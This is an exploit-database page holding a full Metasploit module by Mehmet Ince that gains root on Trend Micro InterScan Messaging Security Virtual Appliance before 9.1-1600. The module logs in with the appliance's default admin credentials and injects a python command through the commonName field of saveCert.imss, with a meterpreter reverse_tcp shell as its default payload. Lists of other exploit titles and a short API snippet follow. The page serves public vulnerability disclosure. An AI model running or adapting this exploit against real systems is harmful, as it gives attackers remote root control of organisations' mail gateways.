Search for hundreds of thousands of exploits

"Trend Micro InterScan Messaging Security (Virtual Appliance) < 9.1.-1600 - Remote Code Execution (Metasploit)"

Author

Exploit author

"Mehmet Ince"

Platform

Exploit platform

multiple

Release date

Exploit published date

2017-01-15

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution',
      'Description'    => %q{
        This module exploits a command injection vulnerability in the Trend Micro
        IMSVA product. An authenticated user can execute a terminal command under
        the context of the web server user which is root. Besides, default installation
        of IMSVA comes with a default administrator credentials.
        saveCert.imss endpoint takes several user inputs and performs blacklisting.
        After that it use them as argument of predefined operating system command
        without proper sanitation. However,due to improper blacklisting rule it's possible to inject
        arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
        This module was tested against IMSVA 9.1-1600.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'BadChars'    => "\x2f\x22"
        },
      'DefaultOptions' =>
        {
          'SSL' => true,
          'payload' => 'python/meterpreter/reverse_tcp',
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jan 15 2017',
      'DefaultTarget'  => 0
       ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']),
        OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]),
        Opt::RPORT(8445)
      ]
    )
  end

  def login

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    print_status("Attempting to login with #{user}:#{pass}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'login.imss'),
      'vars_post' => {
        'userid' => user,
        'pwdfake' => Rex::Text::encode_base64(pass)
      }
    })

    if res && res.body.include?("The user name or password you entered is invalid")
      fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
    end

    cookie = res.get_cookies
    if res.code == 302 && cookie.include?("JSESSIONID")
      jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
      print_good("Authenticated as #{user}:#{pass}")
      return jsessionid
    end

    nil
  end

  def exploit

    jsessionid = login

    unless jsessionid
      fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
    end

    # Somehow java stores last visited url on session like viewstate!
    # Visit form before submitting it. Otherwise, it will cause a crash.

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'initCert.imss'),
      'cookie' => "JSESSIONID=#{jsessionid}"
    })

    if !res or !res.body.include?("Transport Layer Security")
      fail_with(Failure::Unknown, 'Unable to visit initCert.imss')
    end

    # Random string that will be used as a cert name, state, email etc.
    r = Rex::Text::rand_text_alphanumeric(5)

    print_status("Delivering payload...")

    # Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!!
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'saveCert.imss'),
      'cookie' => "JSESSIONID=#{jsessionid}",
      'vars_get' => {
          'mode' => 0
      },
      'vars_post' => {
        'certName' => r,
        'certType' => 0,
        'keyLength' => 2048,
        'countryCode' => 'TR',
        'state' => r,
        'locality' => r,
        'org' => r,
        'orgUnit' => r,
        'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #",
        'emailAddress' => "#{r}@mail.com",
        'validDays' => '',
        'id' => '',
      }
    })
  end

end
Release Date Title Type Platform Author
2020-09-21 "ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path" local windows "Burhanettin Ozgenc"
2020-09-21 "B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution" webapps multiple LiquidWorm
2020-09-21 "Mida eFramework 2.9.0 - Back Door Access" webapps hardware elbae
2020-09-21 "BlackCat CMS 1.3.6 - Cross-Site Request Forgery" webapps php Noth
2020-09-21 "Seat Reservation System 1.0 - 'id' SQL Injection" webapps php Augkim
2020-09-21 "Online Shop Project 1.0 - 'p' SQL Injection" webapps php Augkim
2020-09-18 "Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)" webapps php "Nikolas Geiselman"
2020-09-18 "SpamTitan 7.07 - Remote Code Execution (Authenticated)" webapps multiple "Felipe Molina"
2020-09-17 "Microsoft SQL Server Reporting Services 2016 - Remote Code Execution" remote windows "West Shepherd"
2020-09-16 "Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software" local windows hyp3rlinx
Release Date Title Type Platform Author
2020-09-21 "B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution" webapps multiple LiquidWorm
2020-09-18 "SpamTitan 7.07 - Remote Code Execution (Authenticated)" webapps multiple "Felipe Molina"
2020-09-11 "VTENEXT 19 CE - Remote Code Execution" webapps multiple "Marco Ruela"
2020-09-11 "Tea LaTex 1.0 - Remote Code Execution (Unauthenticated)" webapps multiple nepska
2020-09-07 "Cabot 0.11.12 - Persistent Cross-Site Scripting" webapps multiple "Abhiram V"
2020-08-28 "Nagios Log Server 2.1.6 - Persistent Cross-Site Scripting" webapps multiple "Jinson Varghese Behanan"
2020-08-27 "Mida eFramework 2.9.0 - Remote Code Execution" webapps multiple elbae
2020-08-26 "Ericom Access Server x64 9.2.0 - Server-Side Request Forgery" webapps multiple hyp3rlinx
2020-08-26 "Eibiz i-Media Server Digital Signage 3.8.0 - Directory Traversal" webapps multiple LiquidWorm
2020-07-26 "INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution" webapps multiple "Patrick Hener"
Release Date Title Type Platform Author
2020-07-14 "Trend Micro Web Security Virtual Appliance 6.5 SP2 Patch 4 Build 1901 - Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2020-04-06 "Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2019-01-07 "Mailcleaner - Authenticated Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2018-07-24 "Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2018-06-26 "Liferay Portal < 7.0.4 - Server-Side Request Forgery" webapps java "Mehmet Ince"
2018-03-12 "ManageEngine Applications Manager 13.5 - Remote Code Execution (Metasploit)" webapps java "Mehmet Ince"
2018-01-04 "Xplico - Remote Code Execution (Metasploit)" remote linux "Mehmet Ince"
2017-10-11 "Trend Micro InterScan Messaging Security (Virtual Appliance) - 'Proxy.php' Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-10-11 "Trend Micro OfficeScan 11.0/XG (12.0) - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-09-19 "DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)" webapps linux "Mehmet Ince"
2017-09-12 "osTicket 1.10 - SQL Injection (PoC)" webapps php "Mehmet Ince"
2017-06-26 "Symantec Messaging Gateway 10.6.2-7 - Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2017-05-09 "Crypttech CryptoLog - Remote Code Execution (Metasploit)" remote python "Mehmet Ince"
2017-03-24 "Logsign 4.4.2/4.4.137 - Remote Command Injection (Metasploit)" remote python "Mehmet Ince"
2017-03-17 "SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit)" remote linux "Mehmet Ince"
2017-01-31 "AlienVault OSSIM/USM < 5.3.1 - Remote Code Execution (Metasploit)" webapps php "Mehmet Ince"
2017-01-15 "Trend Micro InterScan Messaging Security (Virtual Appliance) < 9.1.-1600 - Remote Code Execution (Metasploit)" webapps multiple "Mehmet Ince"
2017-01-08 "ManagEnegine ADManager Plus 6.5.40 - Multiple Vulnerabilities" webapps java "Mehmet Ince"
2016-09-21 "Kaltura 11.1.0-2 - Remote Code Execution (Metasploit)" remote php "Mehmet Ince"
2016-07-25 "Drupal Module CODER 2.5 - Remote Command Execution (Metasploit)" webapps php "Mehmet Ince"
2016-07-20 "Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)" remote php "Mehmet Ince"
2016-07-11 "Tiki Wiki 15.1 - File Upload (Metasploit)" remote php "Mehmet Ince"
2016-06-27 "BigTree CMS 4.2.11 - SQL Injection" webapps php "Mehmet Ince"
2016-06-15 "BookingWizz Booking System < 5.5 - Multiple Vulnerabilities" webapps php "Mehmet Ince"
2016-05-24 "AfterLogic WebMail Pro ASP.NET 6.2.6 - Administrator Account Disclosure via XML External Entity Injection" webapps asp "Mehmet Ince"
2014-04-24 "Bonefire 0.7.1 - Reinstall Admin Account" webapps php "Mehmet Ince"
2014-04-22 "No-CMS 0.6.6 rev 1 - Admin Account Hijacking / Remote Code Execution via Static Encryption Key" webapps php "Mehmet Ince"
2012-05-01 "WordPress Plugin Zingiri Web Shop 2.4.2 - Persistent Cross-Site Scripting" webapps php "Mehmet Ince"
2012-04-27 "SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection" webapps php "Mehmet Ince"
2012-04-26 "WordPress Plugin Zingiri Web Shop 2.4.0 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Mehmet Ince"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/41461/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.